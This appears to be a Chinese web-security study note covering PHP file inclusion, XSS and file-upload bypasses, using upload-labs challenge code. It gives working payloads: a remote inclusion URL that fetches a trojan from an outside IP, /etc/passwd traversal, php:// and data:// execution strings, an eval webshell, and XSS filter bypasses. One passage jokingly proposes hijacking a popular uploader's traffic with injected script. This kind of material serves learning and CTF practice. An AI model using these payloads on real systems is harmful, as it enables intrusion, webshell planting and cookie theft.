文件包含

漏洞

通过php函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。
而主要就是php中include()函数:包含并运行指定文件。

通过远程代码生成webshell

1
2
3
<?php
include $_GET['file'];
?>

如果我自建一个111.230.199.201/test.txt这样的网站文件并在此写入木马,那么通过以下语句就能使目标网站运行我的恶意文件做到生成webshell

?file=http://111.230.199.201/test.txt

条件:allow_url_fopen、allow_url_include为on

任意文件读取

如果是linux,可以以绝对路径查看?file=/etc/passwd等敏感文件或是查看相对路径?file=../../../etc/passwd等敏感文件

还可以加一些不存在的目录名,进行穿越、绕过,例如:?file=/etc/ytm666/../passwd

也可以使用file://伪协议:?file=file:///etc/passwd
而此伪协议的作用也是用来读取文件,以下重点介绍php伪协议来利用漏洞

php伪协议

通过php://filter查看源代码

构造这种形式的语句可以读取目标文件的源码并进行base64编码

?file=php://filter/read=convert.base64-encode/resource=index.php

而这样可以读取到源码中的注释部分,且这样的方式也可以进行目录穿越的操作,如:

?file=php://filter/read=convert.base64-encode/ytm666/resource=index.php

这种形式会使页面报错,但源码依旧会显示出来,所以没有影响.那么这种写法可以绕过一些对于路径有要求的题目,比如要求路径必须包含某些字符,就可以以这种方式绕过

通过php://input伪协议进行命令执行

可以将php代码以post请求形式发送执行但要求allow_url_include为on,例如

1
2
GET: ?file=php://input
POST: <?php system("dir");?>

将php代码使用data://伪协议发送执行

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKTs/Pg==
条件:allow_url_fopen、allow_url_include为on

1
注:base64编码<?php system("dir");?>的结果为PD9waHAgc3lzdGVtKCJkaXIiKTs/Pg==

这样可以在网页直接执行编码的语句

使用phar://伪协议执行压缩包中的恶意文件

结合文件上传写一个一句话木马的文件shell_dir.php,将shell_dir.php压缩成shell_dir.zip,然后把压缩包重命名为shell_dir_zip.png
然后上传shell_dir_zip.png
那么结合?file=phar://shell_dir_zip.png/shell_dir.php这样的语句可以直接执行压缩包内的木马文件

而zip://伪协议作用一样,但需要改为?file=zip://shell_dir_zip.png#shell_dir.php这样的格式

XSS-跨站脚本

反射型XSS

我们先从最简单的一种情况来引入XSS攻击
例如在127.0.0.1/xss.php中存在这样的代码

1
2
3
<?php
echo $_GET['id'];
?>

那么这样我们就能进行一个简单的注入,例如

1
127.0.0.1/xss.php?id=<script>alert("hello")</script>

那么用户如果点击了类似于这样的攻击型网址,就会执行反射型XSS攻击,并造成危害,这也就是它作为反射型的原因,且只会执行一次

存储型XSS

不同于反射型一般在url中进行注入,存储型一般会在博客评论,用户评论,留言板等等这些会把数据存储在数据库中的地方注入恶意代码

那么例如在某些留言板中,输入这样的代码:

1
<script>alert("hello")</script>

那么这条代码就被存在了本网站的数据库中,那么作为用户来访问此网页时,就自动的会被执行我们输入的命令,并且由于我们输入的评论(代码)存储在数据库中,所以不必和我们的评论进行交互而是直接会执行

利用XSS造成危害

之前的例子中演示了XSS的原理,现在我们可以真正的去利用XSS漏洞来造成危害了,接下来举几个典型的例子

劫持流量实现恶意跳转

想象一下,现在你看一个up很火非常不爽,想把它粉丝的流量引走,你可以怎么做呢?

依据之前的原理,我们可以在这个百万up主的评论中输入这样一段代码

1
<script>window.location.href="https://Yantm666.github.io"<script>

这样他的粉丝点进去直接就跳转到我的博客了,那么你也成功做到了让这位up失去粉丝的流量,甚至引流到我博客了哈哈(但是你可能需要在他的评论区抢个前排)

窃取cookie

用户登录成功后,一般把登录凭证存储在cookie中

如果你的cookie值被窃取,那么攻击者很可能能够直接利用你的这张令牌不用密码就登录你的账户。

登录之后就可以尝试修改你的密码

我们可以通过这样的代码获取cookie值:

1
<script>alert(document.cookie)</script>

或使用js将cookie发送到特定的网站,通过XSS平台获取管理员cookie

一些常见绕过

针对XSS攻击,网站一般会对用户输入进行过滤,那么我们可以进行一些常见的绕过

大小写绕过

1
只过滤了<script>标签,可以尝试<scRipt>绕过

双写绕过

可以尝试

1
<scri<script>pt>

因为将中间的script替换为空,剩下的结合后又是script可以成功绕过。

替换绕过

1
2
3
4
5
<svg onload=alert('1')> <!--加载svg图片时执行js代码"alert(1)"-->
<iframe src=javascript:alert('1')> <!--通过js伪协议执行js代码"alert(1)"-->
<a onmouseover=alert(document.cookie)>xxs link</a> <!--光标移动到xss link超链接上执行js代码"alert(document.cookie)"-->
<a href=javascript:alert('1')>link</a> <!--点击link超链接通过js伪协议执行js代码"alert(1)"-->
<img src=x onerror=alert('1')></img> <!--通过故意引用不存在的图片触发onerror命令执行js代码"alert(1)"-->

HTML实体编码绕过

1
<a href=&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>link</a>

也可以不带分号

1
<a href=&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x29>link</a>

网页中显示空格可以用 
也可以用实体编码

内嵌tab

1
<iframe src=java&#x09;script:alert(1)>

防止javascrpt被过滤掉

XSS平台获取cookie

https://blog.csdn.net/NSQ0207/article/details/131891269
可以参考这篇博客

文件上传

服务端代码未对客户端上传的文件进行严格的验证,导致漏洞。

非法用户可以利用上传的恶意文件控制整个网站,这个恶意文件被称为WebShell,也可以称为一种网页后门

webshell

我们可以先从最简单但是很实用的一句话木马介绍起

1
<? php eval($_POST['ytm666']); ?>

那么写个这样的php文件内容为一句话木马并上传到目标网站,就可以进行恶意操作

这样通过POST请求传给ytm666参数就可以执行任意php代码导致危害

例如执行system函数进行恶意操作,例如查看网页目录

1
ytm666=system('dir');

那么知道原理后我们就可以使用重量级的东西去远程连接webshell并进行不同的操作,例如利用蚁剑连接(其中添加数据时的密码就为POST请求的参数)

那么通过蚁剑可以查看网站的各种目录以及进行一系列操作

文件上传绕过

客户端绕过

如果客户端js脚本有加限制(如不允许上传.php后缀的文件),可以直接使用burpsuite发送请求,通过先改为合法后缀名后上传,再更改burpsuite抓到的数据包中后缀名使php文件生效后进行发包植入后门

当然也可以直接禁用浏览器js绕过

服务端文件类型检查(服务端MIME类型验证)

MIME类型是描述消息内容类型的因特网标准,可以利用Burp抓包,将报文中的Content-Type改成允许的类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
//取出文件上传后临时存储的文件名
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
//生成一个新的文件存储路径,文件名保持文件上传前的文件名
if (move_uploaded_file($temp_file, $img_path)){
//move_uploaded_file函数把上传的文件移动到新的位置,成功则返回true,失败则返回false
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>

例如对于这道题的源码,我们就可以将其中修改
1

文件后缀绕过

如果.php后缀被限制,可以尝试这些后缀(webshell内容一样):.phtml、.pht、.php3、.php4、.php5(前提是apache的httpd.conf中有如下配置代码)

1
AddType application/x-httpd-php .php .phtml .phps .php5 .pht

或者可以进行大小写绕过(后缀名大小写绕过原理:服务端没有将后缀名转换为统一格式进行比对,导致可以上传后缀为pHp的文件,又因为Windows操作系统大小写不敏感,所以.pHp扔回被当成PHP文件解析),例如对于这样的后端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

因为在这段代码中没有出现能使文件名转为小写的部分

1
$file_ext = strtolower($file_ext); //转换为小写

这种情况下就可以考虑大小写绕过,比如上传后缀为pHP的文件


.phtml、.pht文件也可以这样写

1
<script language="php"> eval($_POST['ytm666']); </script>

可以绕过对于过滤文件中”<?”部分的题目,通过用js标签声明php语言使其中的php代码生效并进行绕过


.php、.phtml等很多后缀都被限制,可以尝试上传.htaccess文件(只支持apache服务器)

上传后,所在目录中名字包含png的文件将被当作php代码解析。例如这样的.htaccess文件:

1
<FilesMatch "png"> setHander application/x-httpd-php </FilesMatch>

有时我们遇到这样的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

服务端将黑名单的后缀名替换为空,但仅进行一次,我们就可以尝试双写绕过,构造后缀名为.phphpp,那么后端替换php一次为空,则后缀就又为.php了

图片马绕过

对于这样的源码,如果绕过服务器文件文件头内容验证呢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);

if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

在此先介绍一下文件头相关内容:

图片格式往往不是根据文件后缀名去做判断的。文件头是文件开头的一段二进制,不同的图片类型,文件头是不同的。文件头又称文件幻数。

常见文件幻数

  • JPG: FF D8 FF EO 00 10 4A 46 49 46.

  • GIF:47 49 46 3839 61(GIF89a).

  • PNG:89 50 4E 47


那么对于上面这道题或者使用getimagesize()函数读取图片信息(必须有真实的图片内容),我们可以尝试使用图片马绕过:

先介绍下生成图片马的方法

  1. 在路径下准备好一句话木马.php和一张图片 .png (或者 .jpg )

  2. 输入系统指令: copy 一张图片.png/b+一句话木马.php/a 生成图片名称.png

这样图片木马就合成好了

我们利用服务器将木马文件解析成了图片文件,但因此向其发送执行该文件的请求时,服务器只会返回这个“图片”文件,并不会执行相应命令。

接下来如何使这样的图片马生效呢

那么当然可以传之前介绍过的.htaccess文件,但是如果此文件不能上传,我们就可以选择使用文件包含漏洞来使其生效

1
2
3
4
5
6
7
8
9
<?php 
header("Content-Type:text/html:charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(_file_);
}
?>

我们可以构造url为:

http://xxx/include.php?file=upload/图片名称.png

.user.ini绕过

例如对于upload-labs第五题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这道题对后缀过滤非常严格,但是没过滤.ini且提示后台存在一个php文件,这样我们就可以用.user.ini绕过

因为想要引发 .user.ini 解析漏洞需要三个前提条件

  1. 服务器脚本语言为PHP

  2. 服务器使用CGI/FastCGI模式

  3. 上传目录下要有可执行的php文件

而正好这道题后台存在一个php文件

那么我们写一个这样的.user.ini文件并上传

1
auto_prepend_file = ytm666.jpg

.user.ini文件里的意思是:所有的php文件都自动包含ytm666.jpg文件。.user.ini相当于一个用户自定义的php.ini

那么我们传入一个一句话木马并改后缀为jpg的文件,就可以通过.user.ini文件,利用后台存在的php文件使这个.jpg的shell文件直接执行